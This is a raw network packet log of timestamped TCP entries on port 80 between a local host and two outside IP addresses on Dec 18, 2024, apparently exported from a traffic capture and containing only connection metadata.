Dec 18, 2024 15:56:33.198837996 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.198951006 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.200031042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.200047970 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.200093985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.201258898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.201409101 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.201450109 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.201472998 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.202487946 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.202506065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.202565908 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.203747988 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.203788042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.203824043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.203855038 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.205039978 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.205096960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.205125093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.205235004 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.206274986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.207847118 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.281718016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.281739950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.281831026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.281874895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.281982899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.282066107 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.282589912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.282706976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.282772064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.283267021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.283368111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.283698082 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.283735991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.283813000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.283873081 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.284549952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.284667969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.284715891 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.285218954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.285320044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.285403013 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.286102057 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.286269903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.286341906 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.286634922 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.286722898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.286782980 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.287343979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.287411928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.287482023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.288047075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.288161039 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.288201094 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.288781881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.288882971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.288939953 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.289432049 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.289556026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.289638996 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.290163994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.290273905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.290318012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.290890932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.291037083 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.291114092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.291656017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.291737080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.291873932 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.292409897 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.292445898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.292495966 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.293030977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.293037891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.293096066 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.293742895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.293781042 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.293840885 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.294429064 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.294526100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.294600010 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.295152903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.295244932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.295298100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.295840979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.296013117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.296561956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.296564102 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.296633959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.296703100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.297343016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.297466993 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.297786951 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.297976017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.298034906 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.298118114 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.298731089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.298847914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.298974991 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.299449921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.299554110 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.300118923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.300179958 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.300225019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.300945997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.300976038 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.301057100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.301112890 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.301563978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.301592112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.301645041 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.302269936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.302350998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.302433968 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.303059101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.303287029 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.303348064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.303677082 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.303760052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.303807020 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.304358006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.304451942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.304683924 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.305063963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.305195093 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.305244923 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.305824995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.305896044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.306121111 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.306526899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.306603909 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.306746960 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.307410002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.307418108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.307482004 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.307991982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.308110952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.308199883 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.308653116 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.308722019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.309078932 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.309349060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.309443951 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.309528112 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.310050964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.310143948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.310333967 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.310813904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.310832977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.310883045 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.311487913 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.311664104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.311779022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.311875105 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.312182903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.312302113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.312351942 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.312916994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.313085079 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.313118935 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.313585997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.313707113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.313811064 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.314290047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.314397097 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.314455986 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.315157890 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.315284014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.315709114 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.315871954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.315943956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.315993071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.316679001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.316771030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.316828012 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.317202091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.317297935 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.317867041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.317955971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.318120956 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.318562031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.318698883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.318746090 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.329349041 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.332120895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.332236052 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.332273006 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.332381010 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.332520962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.332598925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.332673073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.333718061 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.333785057 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.333821058 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.334678888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.334866047 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.334911108 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.334917068 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.334956884 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.336126089 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.336241007 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.336266994 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.336292982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.337377071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.337440014 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.337492943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.337594986 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.338553905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.338622093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.338661909 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.338742018 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.339829922 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.339932919 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.340014935 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.340238094 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.340976000 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.341037989 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.341130972 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.341187954 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.342192888 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.342289925 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.342391968 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.342447042 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.343374014 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.343446016 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.343489885 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.343547106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.344769955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.344896078 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.344918966 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.345020056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.345891953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.345968962 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.345973969 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.346080065 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.347007036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.347062111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.347120047 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.347163916 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.348371029 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.348442078 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.348479033 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.348525047 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.349459887 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.349513054 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.349556923 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.350723028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.350795984 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.350850105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.351916075 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.351972103 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.352013111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.352073908 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.353106022 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.353159904 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.353183985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.353255987 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.354509115 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.354715109 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.354738951 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.354793072 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.355628967 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.355684996 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.355721951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.355786085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.356869936 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.356955051 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.356961966 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.357115984 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.358032942 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.358134985 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.358208895 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.359210014 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.359217882 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.359294891 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.360349894 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.360435009 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.360570908 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.361584902 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.361666918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.361709118 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.362308025 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.362880945 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.362889051 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.362968922 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.364111900 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.364217043 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.364228964 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.364286900 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.365535975 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.365592957 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.365755081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.365920067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.366509914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.366568089 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.366626024 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.366683960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.367629051 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.367676973 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.367711067 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.367880106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.368870020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.368957043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.369009972 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.370392084 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.370481014 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.370527983 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.370572090 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.371736050 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.371805906 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.371824980 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.371922970 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.372615099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.372714043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.372780085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.373774052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.373878002 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.373903036 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.373934031 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.374866009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.374979973 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.375000000 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.375129938 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.376135111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.376142025 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.376207113 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.377307892 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.377382994 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.377430916 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.377556086 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.378499031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.378573895 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.378613949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.378685951 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.379909039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.379946947 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.380033016 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.380954027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.381089926 CET	80	49806	185.215.113.16	192.168.2.10
